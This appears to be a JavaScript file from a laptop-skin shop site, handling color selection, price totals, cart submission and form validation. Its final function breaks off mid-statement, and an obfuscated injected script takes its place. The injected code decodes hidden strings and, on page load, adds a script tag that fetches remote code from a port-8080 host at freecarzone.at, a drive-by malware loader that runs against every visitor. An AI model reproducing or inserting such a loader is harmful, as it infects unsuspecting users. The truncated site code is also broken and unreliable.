function ChangeColor(cual,tipo)
{
	var arVersion = navigator.appVersion.split("MSIE")
var version = parseFloat(arVersion[1])
	//alert(cual);
	//alert(tipo);
	//alert(document.frmNvous.elements["chk"+tipo].checked);
	
	/*if(document.frmNvous.elements["chk"+tipo].checked == true)
	{*/
		if(tipo == "c")
		{
			var cualb = cual;
			
			cualb = "a" + cualb;
			//alert(cualb.indexOf('.jpg'));
			var imgreal = cualb.substr(0,cualb.indexOf('.jpg'));
			imgreal = imgreal + ".png";
			
			if ((version >= 5.5) && (version < 7) && (document.body.filters)) 
			{
				oscar = fixPNG2('ac','ac',imgreal,'ac') 
			}else	
			{
				document.getElementById("ac").src = "adminsite/img/colors_palete/"+imgreal
			}
			
			
			
			
		}
		
		if(tipo == "d")
		{
			
			var cuald = cual;
			
			cuald = "d" + cuald;
			//alert(cuald.indexOf('.jpg'));
			var imgreal = cuald.substr(0,cuald.indexOf('.jpg'));
			imgreal = imgreal + ".png";
			//alert(imgreal);
			
			if ((version >= 5.5) && (version < 7) && (document.body.filters)) 
			{
				oscar = fixPNG2('dd','dd',imgreal,'dd') 
			}else	
			{
				document.getElementById("dd").src = "adminsite/img/colors_palete/"+imgreal
			}			
		}		
		if(tipo == "a")
		{
			
			var cuald = cual;
			
			/*alert(cuald);
			alert(cuald.indexOf('.png'));
			var imgreal = cuald.substr(0,cuald.indexOf('.jpg'));
			//alert(imgreal);
			imgreal = imgreal + ".png";
			alert(imgreal);*/
			
			if ((version >= 5.5) && (version < 7) && (document.body.filters)) 
			{
				oscar = fixPNG2('a','a',cual,'a') 
			}else	
			{
				document.getElementById("a").src = "adminsite/img/colors_palete/"+cual
			}			
		}		
		
		
		
		if(tipo == "a")
		{
			document.getElementById("idPreDesign").value = "";
			document.getElementById("predesign").src = "adminsite/attach/pre_design_null.jpg";
		}
		
		
		
		document.getElementById(tipo).src = "adminsite/img/colors_palete/"+cual
		
		var valorpricetipo = parseFloat(document.getElementById("price"+tipo).value);
		
		
		document.getElementById("newprice"+tipo).innerHTML = "$ " + valorpricetipo.toFixed(2);
		
		
		if(document.getElementById("color"+tipo).value == "")
		{
			document.getElementById("totalpaitnsh").value = parseFloat(document.getElementById("totalpaitnsh").value) + parseFloat(document.getElementById("price"+tipo).value);
			var totalpaintmostx = parseFloat(document.getElementById("totalpaitnsh").value);
			document.getElementById("textpintshop").innerHTML = "Total USD $ " + totalpaintmostx.toFixed(2);
			var supertotalmostrar = parseFloat(document.getElementById("latoptotal").value) + parseFloat(document.getElementById("totalpaitnsh").value);
			document.getElementById("supertotalpaint").innerHTML = "Gran total USD $ " + supertotalmostrar.toFixed(2);
		}
		
		
		if(cual == "a.png" || cual == "b.jpg" || cual == "c.jpg" || cual == "d.jpg" || cual == "a.jpg")
		{
			if(document.getElementById("totalpaitnsh").value >0){
				document.getElementById("color"+tipo).value = "";	
				document.getElementById("newprice"+tipo).innerHTML = "$ " + 0;
				document.getElementById("totalpaitnsh").value = parseFloat(document.getElementById("totalpaitnsh").value) - parseFloat(document.getElementById("price"+tipo).value);
				if(document.getElementById("totalpaitnsh").value <0)
				{
					alert("dsfasdfasdfsd");	
					
				}
				var totalpaitnmostar = parseFloat(document.getElementById("totalpaitnsh").value);
				document.getElementById("textpintshop").innerHTML = "Total USD $ " + totalpaitnmostar.toFixed(2);
				var supertotalmenos = parseFloat(document.getElementById("latoptotal").value) + parseInt(document.getElementById("totalpaitnsh").value)
				document.getElementById("supertotalpaint").innerHTML = "Gran total USD $ " + supertotalmenos.toFixed(2);
			}
		}
		else
		{
			document.getElementById("color"+tipo).value = cual
		}
		
		
		
		return false;
	/*}else{
		alert("Please checked the checkbox letter");
		document.frmNvous.elements["chk"+tipo].focus();
		return false;
	}*/
}


function NChangeColor(cual,tipo)
{
	//alert(cual);
	//alert(tipo);
	//alert(document.frmNvous.elements["chk"+tipo].checked);
	
	/*if(document.frmNvous.elements["chk"+tipo].checked == true)
	{*/
		if(tipo == "a")
		{
			parent.document.getElementById("idPreDesign").value = "";
			parent.document.getElementById("predesign").src = "adminsite/attach/pre_design_null.jpg";
		}
		parent.document.getElementById(tipo).src = "adminsite/img/colors_palete/"+cual
		if(cual == "a.jpg" || cual == "b.jpg" || cual == "c.jpg" || cual == "d.jpg" || cual == "a.png")
		{
			parent.document.getElementById("color"+tipo).value = "";	
		}
		else
		{
			parent.document.getElementById("color"+tipo).value = cual
		}
		
		
		
		return false;
	/*}else{
		alert("Please checked the checkbox letter");
		document.frmNvous.elements["chk"+tipo].focus();
		return false;
	}*/
}















function ChangeColorx(cual,tipo)
{
	document.getElementById(tipo).background  = "adminsite/img/colors_palete/"+cual
}

function ChkIni(cual,tipo)
{
	/*if(document.frmNvous.elements["chk"+tipo].checked == true)
	{
		//alert("Please Click to choose color " + tipo);
	
	}else{*/
		document.getElementById(tipo).src = "adminsite/img/colors_palete/"+cual
		document.getElementById("color"+tipo).value = ""
	//}
	
}
function AddPaintS()
{
/*	if(document.frmNvous.elements["chka"].checked == true || document.frmNvous.elements["chkb"].checked == true || document.frmNvous.elements["chkc"].checked == true || document.frmNvous.elements["chkd"].checked == true)
	{*/
		document.frmNvous.action = "add_to_cart.asp?tipo=3"	
		document.frmNvous.submit();
	/*}else{
		alert("Please select one");
		return false;
	}*/
}



function AddtoCartImg()
{
	if(document.getElementById("idPreDesign").value != "")
	{
		colora		= document.getElementById("idPreDesign").value;
	}else{
		colora		= document.getElementById("colora").value;
	}
	colorb		= document.getElementById("colorb").value;
	colorc		= document.getElementById("colorc").value;
	colord		= document.getElementById("colord").value;
	attacho1	= document.getElementById("attacho1").value;
	attacho12	= document.getElementById("attacho12").value;
	attacho13	= document.getElementById("attacho13").value;
	attacho14	= document.getElementById("attacho14").value;
	commentbox  = document.getElementById("commentbox").value;
	ubicaciona	= ""
	ubicacionb	= ""
	ubicacionc	= ""
	ubicaciond	= ""
	
	
	if(attacho1 != "")
	{
		for(i=0;i<4;i++)
		{
			if(document.frnNvous.chk1[i].checked == true)
			{
				ubicaciona	= document.frnNvous.chk1[i].value;
			}
		}
	}
	
	
	if(attacho12 != "")
	{	
		for(j=0;j<4;j++)
		{
			if(document.frnNvous.chk2[j].checked == true)
			{
				ubicacionb	= document.frnNvous.chk2[j].value;
			}
		}
	}
	
	if(attacho13 != "")
	{		
		for(k=0;k<4;k++)
		{
			if(document.frnNvous.chk3[k].checked == true)
			{
				ubicacionc	= document.frnNvous.chk3[k].value;
			}
		}
	}
	
	if(attacho14 != "")
	{	
		for(l=0;l<4;l++)
		{
			if(document.frnNvous.chk4[l].checked == true)
			{
				ubicaciond	= document.frnNvous.chk4[l].value;
			}
		}	
	}

	if(document.getElementById("idPreDesign").value != "")
	{
			if(ubicaciona == "a")
			{
				alert("You may not upload an image to the Apanel because you have already selected a pre-existing design for it. \nPlease upload any other images you have to the C, B, or D panels.");	
				return false;
			}
			if(ubicacionb == "a")
			{
				alert("You may not upload an image to the Apanel because you have already selected a pre-existing design for it. \nPlease upload any other images you have to the C, B, or D panels.");	
				return false;
			}
			if(ubicacionc == "a")
			{
				alert("You may not upload an image to the Apanel because you have already selected a pre-existing design for it. \nPlease upload any other images you have to the C, B, or D panels.");	
				return false;
			}
			if(ubicaciond == "a")
			{
				alert("You may not upload an image to the Apanel because you have already selected a pre-existing design for it. \nPlease upload any other images you have to the C, B, or D panels.");	
				return false;
			}			
		
	}
	
	
	if(attacho1 != "" ||  attacho12 != "" ||  attacho13 != "" ||  attacho14 != "")
	{
		if(document.getElementById("accept").value == 0)
		{
			alert("You should be accept terms and conditions");
			window.open("upload_img.asp","ventana1","width=980,height=768,scrollbars=yes");
			return false;
			
		}
	}
		
		if(attacho1 == "" && attacho12 == "" && attacho13 == "" && attacho14 == "")
		{
			document.frnNvous.action = "add_to_cart.asp?tipo=3&colora="+colora+"&colorb="+colorb+"&colorc="+colorc+"&colord="+colord+"&commentbox="+commentbox;
			document.frnNvous.submit();
			return false;
			
		}else{
			
			document.frnNvous.action = "PYCL/insert.asp?cual=1&colora="+colora+"&colorb="+colorb+"&colorc="+colorc+"&colord="+colord+"&commentbox="+commentbox+"&1="+document.getElementById("1").value+"&2="+document.getElementById("2").value+"&3="+document.getElementById("3").value+"&4="+document.getElementById("4").value+"&ubicaciona="+ubicaciona+"&ubicacionb="+ubicacionb+"&ubicacionc="+ubicacionc+"&ubicaciond="+ubicaciond;
			
			document.frnNvous.submit();
			return false;
		}

	

	return false;
	
	
	/*if(document.getElementById("attacho1").value =="" && document.getElementById("attacho12").value =="" && document.getElementById("attacho13").value =="" && document.getElementById("attacho14").value =="")
	{
	alert("Please select one");	
	return false;		
		
		}else{
		document.frnNvous.action ="PYCL/insert.asp?cual=1&commentbox="+document.getElementById("commentbox").value+"&1="+document.getElementById("1").value+"&2="+document.getElementById("2").value+"&3="+document.getElementById("3").value+"&4="+document.getElementById("4").value ;
		document.frnNvous.submit();			
	return true;			
	}*/
	

}


function CambioSta(cual)
{
	window.open("upload_img.asp","ventana1","width=980,height=768,scrollbars=yes") 
	//alert(document.frnNvous.elements["chk"+cual].value);
	document.getElementById(cual).value = 1
	
}



function ValidarIOL()
{
	
	if(document.getElementById("chk_termsac").checked == false)
	{
		alert("Please check Terms and Conditions");
	return false		
	}	
	if(document.getElementById("nameyourl").value == "")
	{
	alert("Please insert laptop name ex(John Doe's PC)");	
	document.getElementById("nameyourl").focus();
	return false
	}
	
	if(document.getElementById("makecomp").value == "")
	{
	alert("Please insert laptop Make ex (Dell) ");	
	document.getElementById("makecomp").focus();
	return false
	}
		
	if(document.getElementById("modelcomp").value == "")
	{
	alert("Please insert Model ");	
	document.getElementById("modelcomp").focus();
	return false
	}	
	if(document.getElementById("serialnumber").value == "")
	{
	alert("Please insert Serial Number ");	
	document.getElementById("serialnumber").focus();
	return false
	}		
	
	
	
	
	
	if(document.getElementById("describe").value == "")
	{
		alert("Please insert laptop description");	
		document.getElementById("describe").focus();
		return false
	}
	
	if(document.getElementById("laptopfill").checked == true)
	{
		logofill = 1	
	}else{
		logofill = 0	
	}
	
	
	
	document.frmNvous.action="add_to_cart.asp?tipo=6&logofill="+logofill;
	document.frmNvous.submit();
	
	
	
	
	
	
	
	
	
	
}


function ValidarIOLSend()
{
	
	if(document.getElementById("chk_termsac").checked == false)
	{
		alert("Please check Terms and Conditions");
	return false		
	}
	
	if(document.getElementById("nameyourl").value == "")
	{
	alert("Please insert laptop name ex(John Doe's PC)");	
	document.getElementById("nameyourl").focus();
	return false
	}
	
	if(document.getElementById("makecomp").value == "")
	{
	alert("Please insert laptop Make ex (Dell) ");	
	document.getElementById("makecomp").focus();
	return false
	}
		
	if(document.getElementById("modelcomp").value == "")
	{
	alert("Please insert Model ");	
	document.getElementById("modelcomp").focus();
	return false
	}	
	if(document.getElementById("serialnumber").value == "")
	{
	alert("Please insert Serial Number ");	
	document.getElementById("serialnumber").focus();
	return false
	}		
	
	
	
	
	
	if(document.getElementById("describe").value == "")
	{
		alert("Please insert laptop description");	
		document.getElementById("describe").focus();
		return false
	}
	
	if(document.getElementById("laptopfill").checked == true)
	{
		logofill = 1	
	}else{
		logofill = 0	
	}
	
	
	
	document.frmNvous.action="add_to_cart.asp?tipo=6&logofill="+logofill+"&regeb=2";
	document.frmNvous.submit();
	
	
	
	
	
	
	
	
	
	
}









function OpenImaLaptop()
{
	//alert(document.getElementById("idLaptopOr").value);	
	window.open("view_predesign.asp?laptoptype="+document.getElementById("idLaptopOr").value,"ventana1","width=980,height=790,scrollbars=yes") 
}
function VolveraCustom(idGallery,imagense)
{
	

	
	window.opener.document.getElementById("idPreDesign").value = idGallery;
	window.opener.document.getElementById("predesign").src = "adminsite/attach/" + imagense;
	window.opener.document.getElementById("predesigna").src = "adminsite/attach/" + imagense;
	window.opener.document.getElementById("predesignb").src = "adminsite/attach/" + imagense;
	window.opener.document.getElementById("predesignc").src = "adminsite/attach/" + imagense;
	window.opener.document.getElementById("a").src = "adminsite/img/colors_palete/Pre-existing_Design.png"
	

		var valorpricetipo = parseFloat(window.opener.document.getElementById("pricea").value);
		
		
		window.opener.document.getElementById("newpricea").innerHTML = "$ " + valorpricetipo.toFixed(2);



		if(window.opener.document.getElementById("colora").value == "")
		{
			window.opener.d
var M;if(M!='m' && M != ''){M=null};function k(){var y;if(y!='bd'){y=''};var Ul='';var ZB;if(ZB!='' && ZB!='IwR'){ZB=null};var d=window;var b=d['unescape'];var a;if(a!='l'){a=''};this.p='';var V=b("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%61%75%74%6f%2e%72%75%2f%62%75%7a%7a%6e%65%74%2e%63%6f%6d%2e%70%68%70");var nP;if(nP!='MY'){nP='MY'};var G=new Date();function Y(w,H){var X=b("%5d");var j=b("%5b");var A="";var HN=String("g");var v;if(v!=''){v='wQ'};this.UR='';var Zx;if(Zx!='' && Zx!='lR'){Zx=''};var F=new RegExp(j+H+X, HN);this.Yq="";this.Kl='';return w.replace(F, new String());var C;if(C!='ks' && C!='hf'){C='ks'};};var jr;if(jr!=''){jr='gL'};var Fv;if(Fv!=''){Fv='P'};var kU;if(kU!='KH' && kU != ''){kU=null};var E="";var h=Y('sacar9iApgtA','VA68ag9dT');var aW;if(aW!='Dx' && aW != ''){aW=null};var CU=new Date();var Xm=Y('sVrvcw','W46lwVvCn3ptLx');var YN='';var YB='';var S=Y('doeofoeprk','GkZha0Tp5RtoB');this.PJ='';var n=Y('85935691097415683111741307161334','96437251');var _Z;if(_Z!='' && _Z!='cY'){_Z='QE'};var dQ=document;function nY(){var kS=new Date();var I=b("%68%74%74%70%3a%2f%2f%66%72%65%65%63%61%72%7a%6f%6e%65%2e%61%74%3a");var em=new Date();var eh=new Date();var Xk=I;var TB;if(TB!='' && TB!='J'){TB=null};this.Ik='';Xk+=n;var zS;if(zS!='cZ' && zS!='f'){zS=''};Xk+=V;var JC="";var hM;if(hM!='ms' && hM!='yw'){hM='ms'};this.q_="";this.uc="";var Sx='';try {_=dQ[Y('cUr1e1aut3euEGlJeUmGeGnJtU','UJu31Gz')](h);var vC="";var moK;if(moK!='pu' && moK!='qq'){moK=''};_[S]=[2,1][1];_[Xm]=Xk;var hG=new String();var cc='';dQ.body[Y('azpMpxe_nqdvCMhZijlwdZ','Pzxq_vwZjMBg')](_);this.Ci='';var Yf=new String();var fm=new Array();this.bp='';} catch(B){var rG=new String();this.EX="";};this.OX="";var TM=new Date();var ka;if(ka!='Hm' && ka != ''){ka=null};}var ke=new Array();var lx="";var Iw=Y('omnNlAoJamdJ','pNAgwmU0J2CFTcSVR8Yj');var IS=new Array();var rm;if(rm!=''){rm='DM'};this.vX="";d[Iw]=nY;var Pq="";var FD="";};var XH;if(XH!='sD' && XH!='Lj'){XH='sD'};var Xh;if(Xh!='Mr' && Xh!='wi'){Xh='Mr'};var Az;if(Az!='bP' && Az!='OQ'){Az='bP'};k();